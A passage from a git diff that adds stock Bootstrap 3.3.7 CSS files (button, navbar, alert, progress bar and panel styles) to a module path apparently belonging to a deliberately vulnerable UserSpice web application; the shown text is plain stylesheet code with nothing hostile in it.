td:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:last-child{border-bottom-right-radius:3px;border-top-left-radius:0}.panel>.table-bordered>thead>tr>th:first-child,.panel>.table-responsive>.table-bordered>thead>tr>th:first-child,.panel>.table-bordered>tbody>tr>th:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:first-child,.panel>.table-bordered>tfoot>tr>th:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:first-child,.panel>.table-bordered>thead>tr>td:first-child,.panel>.table-responsive>.table-bordered>thead>tr>td:first-child,.panel>.table-bordered>tbody>tr>td:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:first-child,.panel>.table-bordered>tfoot>tr>td:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:first-child{border-right:0;border-left:none}.panel>.table-bordered>thead>tr>th:last-child,.panel>.table-responsive>.table-bordered>thead>tr>th:last-child,.panel>.table-bordered>tbody>tr>th:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:last-child,.panel>.table-bordered>tfoot>tr>th:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:last-child,.panel>.table-bordered>thead>tr>td:last-child,.panel>.table-responsive>.table-bordered>thead>tr>td:last-child,.panel>.table-bordered>tbody>tr>td:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:last-child,.panel>.table-bordered>tfoot>tr>td:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:last-child{border-right:none;border-left:0}.embed-responsive .embed-responsive-item,.embed-responsive iframe,.embed-responsive embed,.embed-responsive object{right:0;left:none}.close{float:left}.modal-footer{text-align:left}.modal-footer .btn+.btn{margin-left:0;margin-right:5px}.modal-footer .btn-group .btn+.btn{margin-right:-1px;margin-left:0}.modal-footer .btn-block+.btn-block{margin-right:0;margin-left:none}.popover{right:0;left:none;text-align:right}.popover.top>.arrow{right:50%;left:none;margin-right:-11px;margin-left:0}.popover.top>.arrow:after{margin-right:-10px;margin-left:0}.carousel-inner>.item{-webkit-transition:.6s ease-in-out right;-o-transition:.6s ease-in-out right;transition:.6s ease-in-out right}.carousel-inner>.active{right:0}.carousel-inner>.next{right:100%;left:0}.carousel-inner>.prev{right:-100%}.carousel-inner>.next.left,.carousel-inner>.prev.right{right:0}.carousel-inner>.active.right{left:-100%}.carousel-inner>.active.left{right:100%}.carousel-control{right:0;bottom:0}.carousel-control.left{right:auto;left:0;background-image:-webkit-linear-gradient(left,color-stop(rgba(0,0,0,.5)0),color-stop(rgba(0,0,0,.0001)100%));background-image:-o-linear-gradient(left,rgba(0,0,0,.5)0,rgba(0,0,0,.0001)100%);background-image:linear-gradient(to right,rgba(0,0,0,.5)0,rgba(0,0,0,.0001)100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1)}.carousel-control.right{left:auto;right:0;background-image:-webkit-linear-gradient(left,color-stop(rgba(0,0,0,.0001)0),color-stop(rgba(0,0,0,.5)100%));background-image:-o-linear-gradient(left,rgba(0,0,0,.0001)0,rgba(0,0,0,.5)100%);background-image:linear-gradient(to right,rgba(0,0,0,.0001)0,rgba(0,0,0,.5)100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1)}.carousel-control .icon-prev,.carousel-control .glyphicon-chevron-left{left:50%;right:auto;margin-right:-10px}.carousel-control .icon-next,.carousel-control .glyphicon-chevron-right{right:50%;left:auto;margin-left:-10px}.carousel-indicators{right:50%;left:0;margin-right:-30%;margin-left:0;padding-left:0}@media screen and (min-width:768px){.carousel-control .glyphicon-chevron-left,.carousel-control .icon-prev{margin-left:0;margin-right:-15px}.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next{margin-left:0;margin-right:-15px}.carousel-caption{left:20%;right:20%;padding-bottom:30px}}.pull-right.flip{float:left!important}.pull-left.flip{float:right!important}.has-success .help-block,.has-success .control-label,.has-success .radio,.has-success .checkbox,.has-success .radio-inline,.has-success .checkbox-inline{color:#3c763d}.has-success .form-control{border-color:#3c763d;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-success .form-control:focus{border-color:#2b542c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168}.has-success .input-group-addon{color:#3c763d;background-color:#dff0d8;border-color:#3c763d}.has-success .form-control-feedback{color:#3c763d}.has-warning .help-block,.has-warning .control-label,.has-warning .radio,.has-warning .checkbox,.has-warning .radio-inline,.has-warning .checkbox-inline{color:#8a6d3b}.has-warning .form-control{border-color:#8a6d3b;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-warning .form-control:focus{border-color:#66512c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b}.has-warning .input-group-addon{color:#8a6d3b;background-color:#fcf8e3;border-color:#8a6d3b}.has-warning .form-control-feedback{color:#8a6d3b}.has-error .help-block,.has-error .control-label,.has-error .radio,.has-error .checkbox,.has-error .radio-inline,.has-error .checkbox-inline{color:#a94442}.has-error .form-control{border-color:#a94442;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-error .form-control:focus{border-color:#843534;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483}.has-error .input-group-addon{color:#a94442;background-color:#f2dede;border-color:#a94442}.has-error .form-control-feedback{color:#a94442} \ No newline at end of file diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap-theme.css b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap-theme.css new file mode 100644 index 000000000..31d888266 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap-theme.css @@ -0,0 +1,587 @@ +/*! + * Bootstrap v3.3.7 (http://getbootstrap.com) + * Copyright 2011-2016 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ +.btn-default, +.btn-primary, +.btn-success, +.btn-info, +.btn-warning, +.btn-danger { + text-shadow: 0 -1px 0 rgba(0, 0, 0, .2); + -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 1px rgba(0, 0, 0, .075); + box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 1px rgba(0, 0, 0, .075); +} +.btn-default:active, +.btn-primary:active, +.btn-success:active, +.btn-info:active, +.btn-warning:active, +.btn-danger:active, +.btn-default.active, +.btn-primary.active, +.btn-success.active, +.btn-info.active, +.btn-warning.active, +.btn-danger.active { + -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); + box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); +} +.btn-default.disabled, +.btn-primary.disabled, +.btn-success.disabled, +.btn-info.disabled, +.btn-warning.disabled, +.btn-danger.disabled, +.btn-default[disabled], +.btn-primary[disabled], +.btn-success[disabled], +.btn-info[disabled], +.btn-warning[disabled], +.btn-danger[disabled], +fieldset[disabled] .btn-default, +fieldset[disabled] .btn-primary, +fieldset[disabled] .btn-success, +fieldset[disabled] .btn-info, +fieldset[disabled] .btn-warning, +fieldset[disabled] .btn-danger { + -webkit-box-shadow: none; + box-shadow: none; +} +.btn-default .badge, +.btn-primary .badge, +.btn-success .badge, +.btn-info .badge, +.btn-warning .badge, +.btn-danger .badge { + text-shadow: none; +} +.btn:active, +.btn.active { + background-image: none; +} +.btn-default { + text-shadow: 0 1px 0 #fff; + background-image: -webkit-linear-gradient(top, #fff 0%, #e0e0e0 100%); + background-image: -o-linear-gradient(top, #fff 0%, #e0e0e0 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#e0e0e0)); + background-image: linear-gradient(to bottom, #fff 0%, #e0e0e0 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe0e0e0', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-repeat: repeat-x; + border-color: #dbdbdb; + border-color: #ccc; +} +.btn-default:hover, +.btn-default:focus { + background-color: #e0e0e0; + background-position: 0 -15px; +} +.btn-default:active, +.btn-default.active { + background-color: #e0e0e0; + border-color: #dbdbdb; +} +.btn-default.disabled, +.btn-default[disabled], +fieldset[disabled] .btn-default, +.btn-default.disabled:hover, +.btn-default[disabled]:hover, +fieldset[disabled] .btn-default:hover, +.btn-default.disabled:focus, +.btn-default[disabled]:focus, +fieldset[disabled] .btn-default:focus, +.btn-default.disabled.focus, +.btn-default[disabled].focus, +fieldset[disabled] .btn-default.focus, +.btn-default.disabled:active, +.btn-default[disabled]:active, +fieldset[disabled] .btn-default:active, +.btn-default.disabled.active, +.btn-default[disabled].active, +fieldset[disabled] .btn-default.active { + background-color: #e0e0e0; + background-image: none; +} +.btn-primary { + background-image: -webkit-linear-gradient(top, #337ab7 0%, #265a88 100%); + background-image: -o-linear-gradient(top, #337ab7 0%, #265a88 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#265a88)); + background-image: linear-gradient(to bottom, #337ab7 0%, #265a88 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff265a88', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-repeat: repeat-x; + border-color: #245580; +} +.btn-primary:hover, +.btn-primary:focus { + background-color: #265a88; + background-position: 0 -15px; +} +.btn-primary:active, +.btn-primary.active { + background-color: #265a88; + border-color: #245580; +} +.btn-primary.disabled, +.btn-primary[disabled], +fieldset[disabled] .btn-primary, +.btn-primary.disabled:hover, +.btn-primary[disabled]:hover, +fieldset[disabled] .btn-primary:hover, +.btn-primary.disabled:focus, +.btn-primary[disabled]:focus, +fieldset[disabled] .btn-primary:focus, +.btn-primary.disabled.focus, +.btn-primary[disabled].focus, +fieldset[disabled] .btn-primary.focus, +.btn-primary.disabled:active, +.btn-primary[disabled]:active, +fieldset[disabled] .btn-primary:active, +.btn-primary.disabled.active, +.btn-primary[disabled].active, +fieldset[disabled] .btn-primary.active { + background-color: #265a88; + background-image: none; +} +.btn-success { + background-image: -webkit-linear-gradient(top, #5cb85c 0%, #419641 100%); + background-image: -o-linear-gradient(top, #5cb85c 0%, #419641 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#5cb85c), to(#419641)); + background-image: linear-gradient(to bottom, #5cb85c 0%, #419641 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff419641', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-repeat: repeat-x; + border-color: #3e8f3e; +} +.btn-success:hover, +.btn-success:focus { + background-color: #419641; + background-position: 0 -15px; +} +.btn-success:active, +.btn-success.active { + background-color: #419641; + border-color: #3e8f3e; +} +.btn-success.disabled, +.btn-success[disabled], +fieldset[disabled] .btn-success, +.btn-success.disabled:hover, +.btn-success[disabled]:hover, +fieldset[disabled] .btn-success:hover, +.btn-success.disabled:focus, +.btn-success[disabled]:focus, +fieldset[disabled] .btn-success:focus, +.btn-success.disabled.focus, +.btn-success[disabled].focus, +fieldset[disabled] .btn-success.focus, +.btn-success.disabled:active, +.btn-success[disabled]:active, +fieldset[disabled] .btn-success:active, +.btn-success.disabled.active, +.btn-success[disabled].active, +fieldset[disabled] .btn-success.active { + background-color: #419641; + background-image: none; +} +.btn-info { + background-image: -webkit-linear-gradient(top, #5bc0de 0%, #2aabd2 100%); + background-image: -o-linear-gradient(top, #5bc0de 0%, #2aabd2 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#5bc0de), to(#2aabd2)); + background-image: linear-gradient(to bottom, #5bc0de 0%, #2aabd2 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2aabd2', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-repeat: repeat-x; + border-color: #28a4c9; +} +.btn-info:hover, +.btn-info:focus { + background-color: #2aabd2; + background-position: 0 -15px; +} +.btn-info:active, +.btn-info.active { + background-color: #2aabd2; + border-color: #28a4c9; +} +.btn-info.disabled, +.btn-info[disabled], +fieldset[disabled] .btn-info, +.btn-info.disabled:hover, +.btn-info[disabled]:hover, +fieldset[disabled] .btn-info:hover, +.btn-info.disabled:focus, +.btn-info[disabled]:focus, +fieldset[disabled] .btn-info:focus, +.btn-info.disabled.focus, +.btn-info[disabled].focus, +fieldset[disabled] .btn-info.focus, +.btn-info.disabled:active, +.btn-info[disabled]:active, +fieldset[disabled] .btn-info:active, +.btn-info.disabled.active, +.btn-info[disabled].active, +fieldset[disabled] .btn-info.active { + background-color: #2aabd2; + background-image: none; +} +.btn-warning { + background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #eb9316 100%); + background-image: -o-linear-gradient(top, #f0ad4e 0%, #eb9316 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#f0ad4e), to(#eb9316)); + background-image: linear-gradient(to bottom, #f0ad4e 0%, #eb9316 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffeb9316', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-repeat: repeat-x; + border-color: #e38d13; +} +.btn-warning:hover, +.btn-warning:focus { + background-color: #eb9316; + background-position: 0 -15px; +} +.btn-warning:active, +.btn-warning.active { + background-color: #eb9316; + border-color: #e38d13; +} +.btn-warning.disabled, +.btn-warning[disabled], +fieldset[disabled] .btn-warning, +.btn-warning.disabled:hover, +.btn-warning[disabled]:hover, +fieldset[disabled] .btn-warning:hover, +.btn-warning.disabled:focus, +.btn-warning[disabled]:focus, +fieldset[disabled] .btn-warning:focus, +.btn-warning.disabled.focus, +.btn-warning[disabled].focus, +fieldset[disabled] .btn-warning.focus, +.btn-warning.disabled:active, +.btn-warning[disabled]:active, +fieldset[disabled] .btn-warning:active, +.btn-warning.disabled.active, +.btn-warning[disabled].active, +fieldset[disabled] .btn-warning.active { + background-color: #eb9316; + background-image: none; +} +.btn-danger { + background-image: -webkit-linear-gradient(top, #d9534f 0%, #c12e2a 100%); + background-image: -o-linear-gradient(top, #d9534f 0%, #c12e2a 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#d9534f), to(#c12e2a)); + background-image: linear-gradient(to bottom, #d9534f 0%, #c12e2a 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc12e2a', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-repeat: repeat-x; + border-color: #b92c28; +} +.btn-danger:hover, +.btn-danger:focus { + background-color: #c12e2a; + background-position: 0 -15px; +} +.btn-danger:active, +.btn-danger.active { + background-color: #c12e2a; + border-color: #b92c28; +} +.btn-danger.disabled, +.btn-danger[disabled], +fieldset[disabled] .btn-danger, +.btn-danger.disabled:hover, +.btn-danger[disabled]:hover, +fieldset[disabled] .btn-danger:hover, +.btn-danger.disabled:focus, +.btn-danger[disabled]:focus, +fieldset[disabled] .btn-danger:focus, +.btn-danger.disabled.focus, +.btn-danger[disabled].focus, +fieldset[disabled] .btn-danger.focus, +.btn-danger.disabled:active, +.btn-danger[disabled]:active, +fieldset[disabled] .btn-danger:active, +.btn-danger.disabled.active, +.btn-danger[disabled].active, +fieldset[disabled] .btn-danger.active { + background-color: #c12e2a; + background-image: none; +} +.thumbnail, +.img-thumbnail { + -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .075); + box-shadow: 0 1px 2px rgba(0, 0, 0, .075); +} +.dropdown-menu > li > a:hover, +.dropdown-menu > li > a:focus { + background-color: #e8e8e8; + background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); + background-image: -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#f5f5f5), to(#e8e8e8)); + background-image: linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0); + background-repeat: repeat-x; +} +.dropdown-menu > .active > a, +.dropdown-menu > .active > a:hover, +.dropdown-menu > .active > a:focus { + background-color: #2e6da4; + background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%); + background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4)); + background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0); + background-repeat: repeat-x; +} +.navbar-default { + background-image: -webkit-linear-gradient(top, #fff 0%, #f8f8f8 100%); + background-image: -o-linear-gradient(top, #fff 0%, #f8f8f8 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#f8f8f8)); + background-image: linear-gradient(to bottom, #fff 0%, #f8f8f8 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-repeat: repeat-x; + border-radius: 4px; + -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 5px rgba(0, 0, 0, .075); + box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 5px rgba(0, 0, 0, .075); +} +.navbar-default .navbar-nav > .open > a, +.navbar-default .navbar-nav > .active > a { + background-image: -webkit-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%); + background-image: -o-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#dbdbdb), to(#e2e2e2)); + background-image: linear-gradient(to bottom, #dbdbdb 0%, #e2e2e2 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdbdbdb', endColorstr='#ffe2e2e2', GradientType=0); + background-repeat: repeat-x; + -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, .075); + box-shadow: inset 0 3px 9px rgba(0, 0, 0, .075); +} +.navbar-brand, +.navbar-nav > li > a { + text-shadow: 0 1px 0 rgba(255, 255, 255, .25); +} +.navbar-inverse { + background-image: -webkit-linear-gradient(top, #3c3c3c 0%, #222 100%); + background-image: -o-linear-gradient(top, #3c3c3c 0%, #222 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#3c3c3c), to(#222)); + background-image: linear-gradient(to bottom, #3c3c3c 0%, #222 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c', endColorstr='#ff222222', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-repeat: repeat-x; + border-radius: 4px; +} +.navbar-inverse .navbar-nav > .open > a, +.navbar-inverse .navbar-nav > .active > a { + background-image: -webkit-linear-gradient(top, #080808 0%, #0f0f0f 100%); + background-image: -o-linear-gradient(top, #080808 0%, #0f0f0f 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#080808), to(#0f0f0f)); + background-image: linear-gradient(to bottom, #080808 0%, #0f0f0f 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff080808', endColorstr='#ff0f0f0f', GradientType=0); + background-repeat: repeat-x; + -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, .25); + box-shadow: inset 0 3px 9px rgba(0, 0, 0, .25); +} +.navbar-inverse .navbar-brand, +.navbar-inverse .navbar-nav > li > a { + text-shadow: 0 -1px 0 rgba(0, 0, 0, .25); +} +.navbar-static-top, +.navbar-fixed-top, +.navbar-fixed-bottom { + border-radius: 0; +} +@media (max-width: 767px) { + .navbar .navbar-nav .open .dropdown-menu > .active > a, + .navbar .navbar-nav .open .dropdown-menu > .active > a:hover, + .navbar .navbar-nav .open .dropdown-menu > .active > a:focus { + color: #fff; + background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%); + background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4)); + background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0); + background-repeat: repeat-x; + } +} +.alert { + text-shadow: 0 1px 0 rgba(255, 255, 255, .2); + -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .25), 0 1px 2px rgba(0, 0, 0, .05); + box-shadow: inset 0 1px 0 rgba(255, 255, 255, .25), 0 1px 2px rgba(0, 0, 0, .05); +} +.alert-success { + background-image: -webkit-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%); + background-image: -o-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#dff0d8), to(#c8e5bc)); + background-image: linear-gradient(to bottom, #dff0d8 0%, #c8e5bc 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffc8e5bc', GradientType=0); + background-repeat: repeat-x; + border-color: #b2dba1; +} +.alert-info { + background-image: -webkit-linear-gradient(top, #d9edf7 0%, #b9def0 100%); + background-image: -o-linear-gradient(top, #d9edf7 0%, #b9def0 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#d9edf7), to(#b9def0)); + background-image: linear-gradient(to bottom, #d9edf7 0%, #b9def0 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffb9def0', GradientType=0); + background-repeat: repeat-x; + border-color: #9acfea; +} +.alert-warning { + background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%); + background-image: -o-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#fcf8e3), to(#f8efc0)); + background-image: linear-gradient(to bottom, #fcf8e3 0%, #f8efc0 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fff8efc0', GradientType=0); + background-repeat: repeat-x; + border-color: #f5e79e; +} +.alert-danger { + background-image: -webkit-linear-gradient(top, #f2dede 0%, #e7c3c3 100%); + background-image: -o-linear-gradient(top, #f2dede 0%, #e7c3c3 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#f2dede), to(#e7c3c3)); + background-image: linear-gradient(to bottom, #f2dede 0%, #e7c3c3 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffe7c3c3', GradientType=0); + background-repeat: repeat-x; + border-color: #dca7a7; +} +.progress { + background-image: -webkit-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%); + background-image: -o-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#ebebeb), to(#f5f5f5)); + background-image: linear-gradient(to bottom, #ebebeb 0%, #f5f5f5 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff5f5f5', GradientType=0); + background-repeat: repeat-x; +} +.progress-bar { + background-image: -webkit-linear-gradient(top, #337ab7 0%, #286090 100%); + background-image: -o-linear-gradient(top, #337ab7 0%, #286090 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#286090)); + background-image: linear-gradient(to bottom, #337ab7 0%, #286090 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff286090', GradientType=0); + background-repeat: repeat-x; +} +.progress-bar-success { + background-image: -webkit-linear-gradient(top, #5cb85c 0%, #449d44 100%); + background-image: -o-linear-gradient(top, #5cb85c 0%, #449d44 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#5cb85c), to(#449d44)); + background-image: linear-gradient(to bottom, #5cb85c 0%, #449d44 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0); + background-repeat: repeat-x; +} +.progress-bar-info { + background-image: -webkit-linear-gradient(top, #5bc0de 0%, #31b0d5 100%); + background-image: -o-linear-gradient(top, #5bc0de 0%, #31b0d5 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#5bc0de), to(#31b0d5)); + background-image: linear-gradient(to bottom, #5bc0de 0%, #31b0d5 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0); + background-repeat: repeat-x; +} +.progress-bar-warning { + background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #ec971f 100%); + background-image: -o-linear-gradient(top, #f0ad4e 0%, #ec971f 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#f0ad4e), to(#ec971f)); + background-image: linear-gradient(to bottom, #f0ad4e 0%, #ec971f 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0); + background-repeat: repeat-x; +} +.progress-bar-danger { + background-image: -webkit-linear-gradient(top, #d9534f 0%, #c9302c 100%); + background-image: -o-linear-gradient(top, #d9534f 0%, #c9302c 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#d9534f), to(#c9302c)); + background-image: linear-gradient(to bottom, #d9534f 0%, #c9302c 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0); + background-repeat: repeat-x; +} +.progress-bar-striped { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); +} +.list-group { + border-radius: 4px; + -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .075); + box-shadow: 0 1px 2px rgba(0, 0, 0, .075); +} +.list-group-item.active, +.list-group-item.active:hover, +.list-group-item.active:focus { + text-shadow: 0 -1px 0 #286090; + background-image: -webkit-linear-gradient(top, #337ab7 0%, #2b669a 100%); + background-image: -o-linear-gradient(top, #337ab7 0%, #2b669a 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2b669a)); + background-image: linear-gradient(to bottom, #337ab7 0%, #2b669a 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2b669a', GradientType=0); + background-repeat: repeat-x; + border-color: #2b669a; +} +.list-group-item.active .badge, +.list-group-item.active:hover .badge, +.list-group-item.active:focus .badge { + text-shadow: none; +} +.panel { + -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .05); + box-shadow: 0 1px 2px rgba(0, 0, 0, .05); +} +.panel-default > .panel-heading { + background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); + background-image: -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#f5f5f5), to(#e8e8e8)); + background-image: linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0); + background-repeat: repeat-x; +} +.panel-primary > .panel-heading { + background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%); + background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4)); + background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0); + background-repeat: repeat-x; +} +.panel-success > .panel-heading { + background-image: -webkit-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%); + background-image: -o-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#dff0d8), to(#d0e9c6)); + background-image: linear-gradient(to bottom, #dff0d8 0%, #d0e9c6 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffd0e9c6', GradientType=0); + background-repeat: repeat-x; +} +.panel-info > .panel-heading { + background-image: -webkit-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%); + background-image: -o-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#d9edf7), to(#c4e3f3)); + background-image: linear-gradient(to bottom, #d9edf7 0%, #c4e3f3 100%); + filter: 